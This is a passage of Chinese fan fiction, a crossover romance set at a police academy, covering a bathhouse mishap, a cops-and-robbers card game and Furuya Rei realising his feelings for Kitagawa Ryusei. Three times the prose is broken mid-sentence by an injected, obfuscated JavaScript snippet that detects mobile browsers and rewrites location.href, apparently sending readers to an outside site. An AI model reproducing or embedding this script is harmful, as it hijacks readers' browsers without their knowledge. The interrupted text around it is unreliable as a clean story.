所有人穿着负重服集中在训练场跑圈,鞋底带起的灰尘飞扬得到处都是,用“迁徙”来形容这一幕不要更形象。 汗水把青年的发丝打湿,一两缕额发因重力搭在脸上,又被主人抬手撩到一边。 制服下摆从负重服中露出一截,隐约可以看见湿透衣摆下的白皙皮肤。 北川琉生的暴躁程度随着负重跑步的圈数逐步上升。 不仅是同班同学习惯了,鬼冢教官也在多次提醒无果后任由他在队伍里碎碎念,权当做猫咪不如意时哼哼唧唧的抱怨。 虽然嘴上的抱怨叫苦没有停过,但北川琉生依然稳稳跟在五人身后,甩开其他同班一大截。 身上的负重似乎没有给他带来什么影响……当然,脖子疼除外。 发现对方只有这种训练才会“活力满满”,和伊达航一起领在最前面的降谷零忍俊不禁。 不过他还是回头小声提醒:“省点体力,待会你还有两公里要跑呢。” “糟糕的……” 不提还好,一提起这件事北川琉生整个人都蔫了下去,哀声却更大了:“我想回家!” 他想念独立的、带卫浴的室内训练场,想念他兢兢业业的陪练下属们! 北川琉生原本看起来比其他人要瘦削不少,四肢修长、皮肤怎么也晒不黑,身上萦绕的少年感总让人忍不住怀疑他的真实年龄。 但此时青年和其他人一样脸上沾着晶莹汗珠,眼睛在阳光和汗水的影响下有些睁不开,微微敛着。降谷零这才发现他其实长着一双漂亮的桃花眼。 目光不经意瞥过时,总会不经意地流露出一丝居高临下。 并不令人反感,也不会让人觉得违和,反倒让人想要去探究他的真实性格和经历。 一个在危险时会下意识保护他人,却自认为没有正义感、不习惯因为做好事而被感谢的未来警察。 他究竟会有什么样的过去? 这个念头冒出来后,降谷零一整个白天都在思考这件事,并且越想越入迷。 或许是作为一个业余侦探对谜题的好奇吧。一直把“侦探”这个职业感兴趣的降谷零给自己找了个理由。 一个下午的高强度训练让人肌肉像被点燃了一般酸爽,有的人已经不顾地上的灰尘,就这么顺势躺在地上,翻身时还能留下个清晰的人形汗印。 也有互相搀扶着走向宿舍的同学,看模样似乎打算修整片刻再去处理个人卫生问题。 但北川琉生一刻也等不了,一宣布解散就抱起早早准备在旁边的换洗衣物冲向澡堂。 让鬼冢教官盯着他的背影沉思了半天,颇有把他抓回来再跑两公里的意思。 “班长他们要去资料室,我准备先吃饭,Zero你呢?”诸伏景光平复好呼吸询问降谷零。 “我准备去浴室,麻烦Hiro给我带一份晚餐了!”降谷零头也不回地跑远,对身后幼驯染扬起个大大的笑容。 闻言诸伏景光一愣,眼看着人跑远,还没来得及提醒:“Zero你好像没准备衣服来着……” …… 等降谷零意识到这个问题时一切都已经晚了。 他瞥向已经打湿的衣物,又看看不着寸缕根本不可能出去见人的自己,想穿回半个小时前把做出洗澡这个决定的自己给灭口。 降谷零:“……” 在澡堂里光溜溜站了半天,他眼一闭心一横,面对安静的澡堂询问:“请问有人吗?” 如果没有记错,这里除了他只有一个人。 北川琉生。 果不其然,一道从容不迫的脚步声逐渐靠近,停在了不远处。 北川琉生疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103144|163812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惑道:“降谷?是需要帮助吗?” 不用亲眼所见,降谷零简直能想象出他说这话时神情不解的样子。 “……能不能帮我给Hiro发个消息,我没有带换洗衣物。” 好尴尬……简直想变成水从下水道里流走,流进日本海再也不要回来了。 明明知道对方看不见,降谷零还是在隔间里蹲下,埋住整张脸。 “哦。”对此一无所知的北川琉生只回复了一个单音,然后贴心反问:“你带浴巾了吗?” 降谷零一噎,把头埋得更低,声音从胳膊缝中闷闷传出:“……也没有。” 他当时看北川琉生往澡堂的方向走,脑袋一抽就跟了上来,压根没想到这些。 正沉浸在无尽的后悔里,降谷零忽然听见对方宛若福音的话:“我带了多余的便携式一次性浴巾,可以给你用。” ……浴巾。 那一刻,沙漠里迷路的旅人看见绿洲的目光也不会比降谷零更加夺目,他如蒙大赦,连忙点头却想起对方看不见,忙道: “谢谢你,琉生!” 对这个年龄的青年来说,面子真的是能用一切去捍卫的东西。 比如,若此时北川琉生再问他信不信神,他一定会比所有信徒都虔诚地说他信北川琉生! 警校第一终于摆脱了光着站在澡堂里的悲惨境遇! 裹好浴巾走出来的降谷零还是有些不好意思。 无他,眼前的北川琉生穿戴整齐,圆领T恤下锁骨清晰可见,还有被热水染上来红晕。 那头红棕色自来卷正服服帖帖趴着,发尾滴落的水珠将他后背的衣服打湿,北川琉生正用毛巾擦拭着头发。 见降谷零出来,他抬眼看去:“对了,降谷你找我有事吗?” 猝不及防对上视线,降谷零难以察觉地向后退上一小步,目光挪到地面的瓷砖上,勉强维持着表面的镇定:“没有,怎么这么问?” “因为你今天一直在看我啊。”北川琉生过分直白道:“我以为你有什么事情要问。” 现在回隔间还来得及吗? 降谷零又一次发自内心的自问。 一时间他不知道该怎么回答这个问题,或者更准确一点,他也不知道答案。 ……但或许能让北川琉生给他一个答案。降谷零想。 澡堂里蒙着一层厚重水汽,地板沾着水珠显得有些滑。 被水雾熏得脸颊稍热,降谷零反问:“那你是怎么认为的呢?” “如果降谷同学再这么看着我……” 别说,北川琉生还真认真思考过这个问题,他话说到一半停住,看起来有些苦恼。 水雾氤氲的澡堂里只看得清他们两人,隔着些许距离,北川琉生看不清的地方,降谷零脸上被熏染出的热意一点点爬上耳后。 明明是随口一问,自己却莫名紧张起来。 做了个吞咽的动作,降谷零心跳声不合常理地变大,开始后悔把问题抛给了对方。 然而没等他开口解释。 就听见北川琉生接上了刚才的话:“我会以为你想和我打一场呢。” 降谷零脱口而出的话卡在嗓子眼:“……诶?!” 从哪里看出来的?? “原来不是吗?” 没想到他是这个反应,北川琉生意识到自己可能是误解了什么,看起来比降谷零还难以置信:“难道我猜错了?” 被他脑回路打了个措手不及,降谷零疑似被蒸汽熏晕的脑袋瞬间清醒了:“……” 不是、这都什么和什么嘛! 他们为什么要在澡堂里讨论约架这种问题!? 察觉到自己可能闹了个乌龙,北川琉生曲起食指在鼻梁上那颗痣上蹭了蹭,避开降谷零复杂中带着强烈谴责的视线。 “那什么、既然没事,我先回宿舍了……?” 总觉得降谷零现在的气场有些不对劲,再待下去会发生什么超乎意料的事情。 没等对方回应,他转头逃之夭夭。 留降谷零一个人站在原地目光幽幽,把方才的尴尬都抛之脑后。 门口,诸伏景光一手提着衣服,还维持着准备进来的动作。 他不知道在门口站了多久,瞧见金发青年耳后不明显的红晕陷入沉思,看着降谷零的目光欲言又止:“Zero你……” 就像降谷零了解他一样,诸伏景光也同样了解自己的幼驯染。 他面色复杂,说出口的话却委婉极了:“是不是有些不太对劲?” 8. 游戏 何止不对劲,降谷零总感觉自己的脑袋有哪个零件坏掉了。 深夜,明明巡查寝室时困得仿佛在梦游,可躺在床上后他又怎么都睡不着。 安静的环境、将情绪放大的夜晚,让降谷零好不容易压下来的情绪再一次席卷。 又一次入睡失败,降谷零翻身坐起,被子滑落虚虚搭在腰间,捂着脸,嘴里发出意味不明的长啸声:“啊!” 一定是因为白天的事太丢脸了! 他到底是怎么想的,为什么跟着了魔一样非要跟去澡堂啊——! 闹钟指针还在耳边一哒一哒跳,降谷零在心里默数三百下依然清醒得像喝了杯黑咖啡,他终于意识到: 在休息时间如此宝贵的警校他也奢侈了一把—— 他失眠了! 意识到这一点,降谷零放弃抵抗直直躺回床上,用堪称失焦的眼神注视着天花板,打算一点点倒推今天连环失智行为中自己的心理历程。 “Zero你……是不是不太对劲?” 白天幼驯染的话在脑海里循环播放,但配图却从诸伏景光欲言又止的脸变成了氤氲的澡堂。 隔着一道薄雾,北川琉生站在不远处认真擦拭头发,身上的T恤随他抬手的动作往另一端滑下。 当时看见却没有来得及注意的细节在此时一股脑地浮现,其中最为显眼的是北川琉生刘海上那一颗水珠。 从发丝滴落到白皙的手背,沿着腕骨又从小臂上划过。 当时的降谷零很快撇开眼。 究竟是哪里不对劲了? 降谷零抬起手,看着月光下自己小麦色的手背,再从指缝里注视着露出的月亮。 他自问。 如果今天换成他在松田阵平面前出糗,自己会有这么大的反应吗? 降谷零花了两秒钟思考这个问题,然后迅速得出了否定的答案。 ——那个卷毛混蛋如果敢笑话他,降谷零就敢把他新补的牙再掉一次。 那……为什么面对北川琉生,他就做不到这么坦荡呢? 告:不知道。 降谷零翻了个身,换了个侧躺的姿势,脸颊贴着枕头,灰紫色眼睛在黑暗中扑闪两下。 原来问题是出在北川琉生身上吗? * 在彻底找到答案前,降谷零开始有意识躲着北川琉生。 包括但不限于吃饭时北川琉生排A窗口,他排B窗口;放弃Hiro旁边的位置挨着松田阵平坐;训练时冲在最前面,把整个班的训练节奏越拉越快…… 直到一头雾水的诸伏景光强行把他拽回来,面容担忧疑惑:“Zero,你今天怎么了?” 昨天还只是不对劲,今天整个人的一举一动都变得让人格外不解。 不过降谷零毫无察觉,向身边的人投去询问的目光,重复诸伏景光的话:“我怎么了?” 一旁伊达航用上了痕检课观察嫌疑人脚印的目光静静盯着他看:“很奇怪!” 四人站在他身后整齐划一地赞同点头。 “晚上查寝很辛苦吗?被教官罚迷糊了?”北川琉生大胆假设,但他观察着同样被罚的诸伏景光又看向他,在心底否定了这个推测。 对方这个样子没休息好可能是真的,但不太像受到了打击,反倒有点像是在心虚。 于是他问;“昨晚你又违纪啦?” 降谷零半月眼,瞬间顾不上保持距离道:“怎么可能!” 刚刚被罚,他还没这个胆子顶风作案! 急于澄清,他显得过于激动,反倒有些可疑,引得操场上其他同学纷纷侧目。 不过萩原研二抚摸着下巴:“我看也不像。小降谷太正直了,没有人撺掇的情况下不太会违纪。” 第一天就撺掇对方打架的松田阵平比较直白:“难不成是吃错药啦?失恋了?” 听到这,降谷零额头青筋抑制不住跳动,咬着牙:“滚啊,混蛋!” 听着大家越来越离谱的猜测,诸伏景光想起了什么似的,目光落在幼驯染才说了两句就开始躲闪的眼睛上若有所思。 “行了,都盯着我看干嘛,”终于受不了众人几乎要把他就地解析的视线,降谷零脊背下意识僵直,岔开话题:“再不赶去训练馆就要迟到了!” 事实证明当你故意想要躲一个人的时候,这个人的存在感反倒会变得更强。 他一举一动都会在你心里被无限放大、分析。你想躲着他,首先就必须知道他在干什么、将要干什么。 短短几天内,降谷零就发现了许多关于北川琉生的平常被自己忽略的小细节。 比如虽然北川琉生的综合成绩只到达了班级中上游,但其中有80%是警察行政学和警察组织学等理论课程的锅。 相反,他的体能战术类、武器使用类和刑侦侦查类科目的成绩都非常拔尖,掌握程度简直就像是从小耳濡目染一样。 文化课程上,北川琉生的英语水平很高。 甚至意大利语、俄语、西班牙语这个人都有涉猎,其中又以意大利语最为拿手。 他似乎还特意修过书道,一手字写得遒劲俊秀。 不过被问起这些时,北川琉生却目光躲闪:“以前家里做生意嘛,跟着大人到处跑就学了点。” 还没准备再追问,降谷零忽然想起自己要远离对方的计划,只一个晃神北川琉生就被别人叫走了。 “Zero?” 直到被幼驯染拍醒,降谷零才反应过来自己一直在盯着北川琉生的侧脸出神。 他又一次陷入自我怀疑:“我都在干些什么啊……” …… 警校生活一天天过去,没有几个人知道降谷零的烦恼,大家或多或少,都有自己要烦恼的事。 结束了一天的任务,降谷零还没来得及休息就听见宿舍门被敲响。 “咚咚咚。” 十分有规律的三声,听节奏是诸伏景光。 “Hiro?有什么事吗?”他推开门询问。 走廊的不知道哪扇窗户没有关上,有凉风吹过。 诸伏景光和萩原研二面容萧瑟、并肩而立、神色郑重:“有件事想请你帮忙……” 降谷零二话不说回去拿起手机披上外套,出来时顺手关上房门:“什么事情?着急吗?” 见他如临大敌,诸伏景光忽然觉得不太好意思:“额……其实也不是什么大事。” “是小琉生啦!他都赢了三局了!只有班长还在苦苦支撑,我们需要一个可以打败他的家伙!” 萩原研二则毫无负担道。 “哈?” 大致了解清楚情况后降谷零不可思议地质问:“所以你们玩模拟游戏连输,大晚上来找我撑场子?!” 他控诉:“你们居然没有叫我!” “这不是看你最近每天一副急需补觉的样子嘛,一下训就回宿舍了,我们就想着让你好好休息。” 萩原研二免疫了他的目光,委托重任般拍着降谷零的肩膀:“但是现在,我们急需要你这个警校第一挺身而出,战胜黑暗!” 降谷零:……事情已经严重到这个地步了吗? 这其实是警校生经常玩的一种纸牌类桌游,模拟警察和歹徒进行博弈,通过抽卡来分配资源和要满足的条件。 警察成功制服歹徒或歹徒成功逃脱,就算其中一方胜利。 不怪他们连夜从宿舍里把降谷零挖出来,着实是北川琉生已经杀疯了。 诸伏景光半开玩笑地把人推进房间说:“主要是琉生局局歹徒,局局获胜。再这么下去我怕自己的信仰还没来得及走出学校,就被‘恶势力’杀了个片甲不留。” 房间内气氛焦灼,一张不大的折叠桌上摆满了卡片。 一端松田和班长表情肃穆,看伊达航手上卡片的眼神和今天他们盯着测试卷的目光极其雷同。 和两人形成明显对比的是北川琉生。他稳稳坐在另一端,黑色长款外套随意披在身上,肢体舒展,神情悠闲从容不迫。 如果给他端杯红酒或者香槟就更应景了,降谷零无端地联想。 察觉到来人,北川琉生先是目不斜视,两指夹住一张牌轻轻扣上桌面,对面伊达航目光更凝重一分,这才偏过头,目光从眼尾处瞥向他们,语调是不以为意:“最后的希望来了?” 降谷零:……一定是他开门的方式不太对! 否则这一幕怎么越看越像赌/场法外狂徒给可怜学生下套?? 被推上游戏桌后降谷零迅速找准了自己的定位:被失足同学推入深渊的又一个冤大头。 他艰难维持理智:“你们这么多人欺负他一个?”而且居然一次都没赢过。 话音落,所有人齐刷刷看过来,目光幽幽。 诸伏景光:“是他。” 萩原研二:“一个人。” 松田阵平:“在欺负我们啊!” 还在坚持的伊达航眼神炯炯,仿佛扛着长剑的斗龙勇士:“我还没输呢!别这么早放弃啊大家!” 降谷零:“……” 一直守在第一现场的松田阵平简单介绍了一下目前的游戏实况。 “便利店抢劫案,目前北川手里有两个劫匪、二十个集齐了老弱妇孺的人质,而且他基本已经控制了整个便利店……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103145|163812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “班长已知只有一个人、一根警棍、一辆车……现在警察身份暴露,正遭到歹徒的针对,好在警察初始武力值挺高,抗揍。” “胜算不高啊,”萩原研二迅速进入状态摸着下巴感慨:“虽然不知道小琉生还藏着什么底牌,但班长你还是有希望的!” “……是吗,”虽然口头上不太相信,但伊达航目光一凝,将牌面坚定压在桌面: “天灾人祸——便利店突然断电了,其中一名绑匪需要离开五分钟去查看情况!” 在座各位都是专业人士,不需要解释也能自动在脑子里将接下来的案件走向补全。 ——其中一名绑匪离开,警察一定会趁此机会反击,接下来只需要保证武力值压制和人质安全—— “绑匪3号登场,店员也是我的人。”北川琉生一句话,将其他人眼中的希冀击得粉碎。 松田阵平瞠目结舌:“你到底还有多少人?!” “你猜。”北川琉生故作神秘,对所有人单眼做了个wink。 没有俏皮,全是邪恶。 真的没有回转的余地了吗……伊达航咬牙把手中最后一张牌拍在桌上: “武器——小刀。” 即便受伤,他也会将罪犯绳之以法! 面对过太多警察,北川琉生轻而易举看出对方的想法,叹气道:“班长这样做很容易激怒绑匪哦。” “绑匪4号、5号出场,带着一辆面包车来接应三个同伙。” 他翻过手里所有的牌,略做思考,还是没让绑匪对人质和警察下手:“在人海战术前,武力其实很难起到作用的。” 众人陷入沉默。 结局已经很明显,伊达航一口气泄出,看向桌上的牌准备认输:“我……” 还没等他说完整句话,一只小麦色的手从旁边伸过来。 降谷零拿起桌上一张从最开始就被伊达航忘在一边的卡牌。 “那用更多的人来应对人海战术呢?” 降谷零低低地笑了一声:“警察所做的一切都是在拖延时间,他在最开始就通知了自己的同事。” 说着他举起手里的牌,亮出牌面:手机2号。 两指夹着卡牌,金发青年笑容逐渐自信:“一网打尽了哦,北川同学。” “哇哦……还真是,”猝不及防的反转让北川琉生有瞬间愣怔,不合时宜地,他看着降谷零灯光下的金发发自内心道:“超帅的降谷同学。” 这下被打了个措手不及的变成了降谷零,他整张脸蹭的一下红了个彻底,好在没有什么人关注到。 他悄悄看向北川琉生,对方浅棕色眼睛在灯光下显得更加纯粹诚恳,他并不觉得自己说了什么不得了的事情。 “好耶!”一旁松田阵平欢呼出声。 诸伏景光还在思考:“寻求帮助拖延时间,确实是在不明敌情的情况下,最好的应对方式。” 萩原研二的关注点跑远:“快快快,真心话还是大冒险!班长一定要为我们报仇雪恨啊!” “什么真心话大冒险?失败惩罚吗?”降谷零拉回思绪问。 看伊达航还在出神,诸伏景光微笑回答:“没错,萩原和我选择真心话,松田则是下周之前参加一次联谊活动。” 游戏桌上北川琉生愿赌服输:“我选真心话。” 这里的大冒险玩起来没意思,和他在港口Mafia玩的“从五十楼爬下去”、“自由潜水三十分钟”、“捉住一只正在百米高空飞的鸟”比起来简直不要太简单。 他等了一会,没有听见伊达航出声,不由疑惑:“班长?” 其他人闻声也投去担忧的目光。 “抱歉!”伊达航从自己的思绪中回神,笑道:“我不是很会问,把这个机会给小诸伏来怎么样?” “我没意见。”北川琉生无所谓。 诸伏景光笑容更深:“求之不得。” 萩原研二蠢蠢欲动还想争取这个机会,被松田阵平一手压制。 “景老爷虽然看着温和,但也藏着很多鬼主意呢。”直觉系卷毛如是说。 一张桌的距离,北川琉生把这话听了个清清楚楚。 等等……不会吧。 降谷零终于让脸上的热意退下,他在一旁围观,虽然脸上依然保持着平静,眼睛却比平时都要大上一点。 诸伏景光看得分明。 目光慢慢从幼驯染挪到青年身上,诸伏景光仍然保持着友善的微笑,神情却让北川琉生不自觉做了个吞咽的动作,整个人仿佛感知到危险每个细胞都严阵以待。 “我的问题是——琉生,你的理想型是什么样的?” 9. 理想型 好问题! 降谷零行动比思绪更快一步在心里为幼驯染鼓掌。 “我的理想型吗?”被问到了盲区,北川琉生眉心稍稍蹙起,托着脸的手指轻轻敲击太阳穴。 这是他思考时的习惯性动作。 这算是真心话中最常被问到的问题之一,但北川琉生还真没有想过。 毕竟成为警校生之前他已经过上了天天熬夜、为港口Mafia发光发热的社畜生活,没有打算恋爱纳入行程安排。 比起谈恋爱,他还是更喜欢谈生意。 只谈利益,感情算作随赠品。 谈稳了能充盈钱包,谈崩了能活动手脚,怎么都比谈恋爱最后落得人财两空好。 所以说起理想型,他只能尝试大致在头脑中勾勒出一个身影。 亮眼一点吧……让他在人群中能够一眼就看见。 那是不是得高挑一些?北川琉生想。 其次,对方必须足够优秀。 他希望的亲密关系应该势均力敌、充满张力。 最好能立场坚定、性格正直,能够在他脱缰时把自己给拉回来。 有了大致的框架内核,接下来是细节。 没有任何经验的北川琉生下意识在身边的人里寻找答案。 五双眼睛在灯光下格外亮晶晶,随着北川琉生的思考里面的好奇不断加深。 其中,一头金发的降谷零格外显眼。 北川琉生被这个想法吓了一跳,不自在地挪开视线。 不过还是那句话,你越想忽略什么,那个事物就会占据你越多的注意力。 就比如此时,分明没有再看,可北川琉生的思绪已经从“好显眼的头发”跑到了“还是黑皮看起来更加健康漂亮”。 还有那双眼角向下的狗狗眼,总觉得如果降谷零愿意,或许没有人能够拒绝他的眼神。 如果未来伴侣长成降谷零这个模样好像也还不错,北川琉生把目光挪回来。 不过理想型是同期好友会不会显得太过奇怪,让对方尴尬? 北川琉生赶紧在脑海里刹车,开口时按照降谷零的特征反着说。 “黑长直、绿眼睛、冷白皮、最好看起来坏坏的!” “……”降谷零沉默两秒,像个被卸掉电池的玩具,突然陷入呆滞:“哈?” 完全没有想到是这个答案,诸伏景光也跟着沉默。 ……似乎毫不沾边呢,Zero。 “怎么了吗?” 自己不都避开了他的特征吗?北川琉生看向降谷零,略感不解。 怎么反应还是这么大? 萩原研二一秒抓住关键,紫色眼睛闪烁八卦的光:“细节这么具体小琉生是有喜欢的人了吗,警校好像没有这样的女生诶。” 毫不怀疑他真的能记住警校的每一个女生,北川琉生解释:“没有具体对象,而且我的理想型一直是男性啦!” 对自己的取向他异常坦荡,当然也知道其他人不会在意。 这句话后,降谷零刚刚僵住的面部肌肉微不可查地放松,不过还是一语不发。 将两人表情尽收眼底,诸伏景光低头敛眸喝了口杯子里的水,在心里默道: 简直不要太明显了。 游戏还在继续,这一次松田阵平对上了降谷零。 即使快把那头自来卷挠成羊毛卷,松田阵平还是棋差一招,水灵灵地败下阵。 萩原研二顿时摩拳擦掌。 深知幼驯染的性格,松田阵平全然不给他发挥机会:“真心话!我才不想再联谊上干奇奇怪怪的事!” “那可真是遗憾呢……”萩原研二明目张胆地把失落挂在脸上:“既然是小降谷赢了,那小阵平说一个关于小降谷的、最不想让他真知道事情吧!” 他补充道:“我可什么都知道哦,小阵平不许撒谎。” “喂,明明是金发混蛋出题吧,Hagi你凑什么热闹!” 被成功勾起好奇心,降谷零也表示好奇:“嗯?有什么是不能告诉我的吗?” 松田阵平的脸一阵红一阵青,梗着脖子嘴硬:“没有什么不能说的!” 眼见幼驯染羞愤得拳头紧握,萩原研二憋着笑,看得津津有味。 松田阵平头越来越低,仿佛被逼良为娼,承认一件十分地难为情的事:“就……上次逮捕术课,公报私仇揍了俩个嘴碎的家伙,主要还是因为他们嘴太碎!” “这件事和降谷有关,”听他这么一说伊达航立刻想起来了:“是上次上课时那俩个人?” 降谷零:“什么事我怎么没印象?” 明明是和他有关的事,这些人怎么一个个比他还清楚? 当然也有状况外的,比如北川琉生:“所以他们当时,是在说降谷的坏话?” 他记得自己还和两人有过交流。 “原来小琉生没有听出来吗?”萩原研二难得诧异:“我看你当时把他们怼得哑口无言,还以为你知道呢。” 原来真不是故意的? “诶?”降谷零缓缓眨眼,他也知道刚开学时班上同学对自己外貌的议论,甚至撞到过两次,不过后来这些人通通都闭嘴了。 毕竟议论一个强过自己的人,怎么看都像是在嫉妒,太过难看。 但他不知道原来松田阵平和北川琉生也曾经帮他出过头。 心脏像一个被扎破了的热水袋,暖意流向全身。 就好像身后有人支持。 他甚至倒反天罡安慰起了愣怔的北川琉生:“北川同学没遇到过不明白很正常,这种话习惯就好,用实力就能让他们心服口服。” “是吗……我是真的没有想到。”北川琉生语调尾音滑下,直到最后一个音节沉入深谷。 或许是成长环境的不同,北川琉生只知道实力弱小会被别人踩在脚底,过于良善会被排挤。 但他身边从来没有人会因为头发、肤色的与众不同而看低一个人。 ——这样做只会死得比谁都快。 居然还能这样,他有些懊恼自己的迟钝。 好在他是个善于自省的人,北川琉生想,他记住了。 降谷零不清楚他的想法,但他也没有忘记松田阵平:“还有,谢谢松田同学了!” “我真的只是觉得他们嘴太碎啊!” “哈哈哈小阵平气急败坏了!” “下次对上教官就让松田站第一个,不仅头铁还嘴硬。” “Hagi、景老爷!”松田阵平化羞恼为蛮力,一个生扑就冲向两人! 笑闹一阵,避开滚作一团的人避免误伤,北川琉生余光注意到伊达航有些心不在焉,主动问:“班长在想什么?” 伊达航坦言:“刚刚那场游戏。” 虽然在思考,但他看起来整个人都无比轻松:“原来强壮的警察有能力制服绑匪,但强大的警察才可以保护所有人。” 这个强大和战斗力无关。就像诸伏景光说的,在不知道敌人实力的情况下,寻求支援才是最合适的做法。 他像是突然想通了:“单枪匹马制服犯人固然很酷,但那是英雄,而我们是警察。” 虽然块头最大,但作为鬼冢教官亲自选出的班长,伊达航一直有能照顾到所有同学的细心。 北川琉生不意外对方在一次游戏里思考出这些,但还是说出自己的观点:“谁又说过这两者会冲突呢。” “班长你完全有实力做一个强大的强壮警察。” 打闹声成为了背景音乐,降谷零他们又开启了下一轮游戏,默契地给交谈的两人留出空间。 伊达航显然也是这么想的,被北川琉生点出。 他眼睛盛满笑意,重复不久前诸伏景光说过的话,语气郑重:“谢谢,北川同学,你真的很会安慰人。” 尤其是用这种笃定的语气,肯定身边的人。总让人深信不疑。 “或许吧,之前从没有人这么说过,”几次反驳无果,北川琉生已经习惯类似的评价。他看见伊达航起身要离开,好奇询问:“班长要去做什么?” 伊达航朗笑着挥手:“去给老爸打个电话。” 另一边两对幼驯染的内部战争进行到白热阶段。 松田阵平两人结果显而易见,萩原研二就是在逗对方玩。 北川琉生走过去站在了降谷零身后。 他弯下腰凑上去看清对方手里的牌,感慨出声:“啊啦,降谷同学貌似不太清楚怎么当坏人呢。” 或许是隔得太近,他说话时带起的气流扫过耳畔,降谷零不自觉回头想要躲。 这一回头就正好看见北川琉生认真盯着牌面的模样。 头顶的灯光在他眼中折射,将浅淡的眸子照亮。 不得不说,北川琉生身上总有种吸引人的气质。 由他的外貌、性格、作风……所有的已知和未知堆砌而成,拼凑出他最神秘的部分。 能够将周围的视线全部吸引。 “快出牌Zero,我已经等不及知道你的理想型了。” 适时的,诸伏景光带着笑,唤醒神游天外的幼驯染。 或许,这个问题的答案已经不需要回答了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103146|163812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。降谷零忽然间意识到。 以前没有想过,但现在——他的理想型好像就站在了眼前。 并非对方刚好符合,而是……就是北川琉生。 不知道从什么时候开始,他的目光就会下意识在人群中寻找那头漂亮的红棕发。 会关注他的一举一动、被靠近时感官会变得敏感、在意对方的喜好……会因为没有得到想要的答案而失落。 这一切的不寻常在同一个理由之下都变成了理所应当。 他喜欢北川琉生。 沉默的时间太长,北川琉生垂下视线,入目是降谷零那双荡着碎金的眼睛。 他面露不解,微微歪头问:“降谷?” “我输了。”迎着这道目光,降谷零大大方方地放下卡牌,不知道是对诸伏景光还是自己道。 “好人终赢,”他开了个玩笑,对诸伏景光说:“我选大冒险。” 他还没想好该怎么处理这一份喜欢,又怎么在不对北川琉生造成困扰的情况下表露。 亲眼看到幼驯染目光的变化,诸伏景光了然,笑容中带上了性格里隐藏够深的恶趣味,温和建议:“那Zero,你满足琉生一个愿望怎么样?” “比如唱首歌、跳个舞什么的。” 没想到还有自己的份,北川琉生立刻看向金发青年,眼睛睁大:“你还会跳舞?” 降谷零:“……” 刚刚还分外洒脱,降谷零此时头顶青筋直跳,一字一顿:“不、会!” 还有Hiro你果然早就看出来了吧! “什么金发混蛋要跳舞?”松田阵平当然不会错过这个热闹,连忙凑过来出馊主意:“琉生,快让他一边跳踢踏舞一边吹萨克斯!” 萩原研二还嫌不够刺激:“就在小阵平要去的那个联谊上表演怎么样?” 画面太美,降谷零生怕北川琉生答应。 “滚蛋啊你们!” 后半夜的月亮刚刚冒头,给房间染上一层薄薄的困意。 因着第二天有晨训,大家还得留点时间睡觉,于是嘻嘻哈哈打着哈欠回自己的宿舍。 降谷零和北川琉生走向同一个方向。 两人肩并肩,只相距不到一拳的距离,影子更是几乎贴在了一起。 北川琉生比他要矮上一点,只要偏头就能看见对方的侧脸。 降谷零从来不是一个遇到问题会逃避的人,既然看清了自己的心意,他当然要主动一些。 “你有什么想要实现的愿望吗?或者是想问的。” 在心里默默感谢Hiro,他觉得这真是个再好不过的话题。 看得出北川琉生现在很困倦,他反应有些慢,或许是在思考:“是有个问题,只有降谷可以解答。” 降谷零灰紫色眼睛闪烁:“什么?” 北川琉生轻描淡写地扔出个炸/弹:“这几天为什么躲着我?” “咳咳咳!” 没想到对方一直憋着个大的,降谷零险些被口凉风给呛到。他赶忙否认,头摇得飞快:“哪有!” 这件事肯定不能承认。 降谷零还不至于给自己原本就艰难的路上挖坑! 定定看了金发青年半晌,北川琉生嗯了声,表示自己听到了。 但没说信了多少。 刚刚在游戏桌前他没问,就是觉得如果降谷零不想说,自己也不是非得知道答案。 似乎是从浴室那天起,降谷零就变得很奇怪。 是因为不好意思吗?北川琉生难得有探究一个人的想法。 觉得刚刚的话过于欲盖弥彰,降谷零抿住唇,颇为破罐子破摔道:“是我的问题,其实和北川同学没关系。” 好像又在对方面前失礼了呢……他有些懊恼,金发乖乖地耷拉在耳边,像垂下来的耳朵。 没有人能够拒绝一只像狗狗的猫,至少北川琉生不能。 他也说过,没有人能拒绝降谷零的眼神。 所以当两者凑到一起时,他终于忍不住,伸出手揉了揉那头漂亮显眼的金发。 降谷零瞬间呆滞,目光错愕,一时间没反应过来。 虽然动手动脚,但北川琉生理直气壮:“软的。” 和自己的完全不一样。 已经僵成了一块木头,降谷零愣在原地只差原地自燃。 ……刚刚发生了什么? 他艰难抬眼看向北川琉生,对方似乎揭过了这一茬,已经走出了一段距离。 看着他颇为愉悦的背影,降谷零陷入深深的怀疑:“他真的什么都不懂吗?” 10.生病 还没等降谷零在“北川琉生是故意的”和“对方还没有察觉”中左右摇摆得出个结论,鬼冢教官就已经派发了新的任务下来。 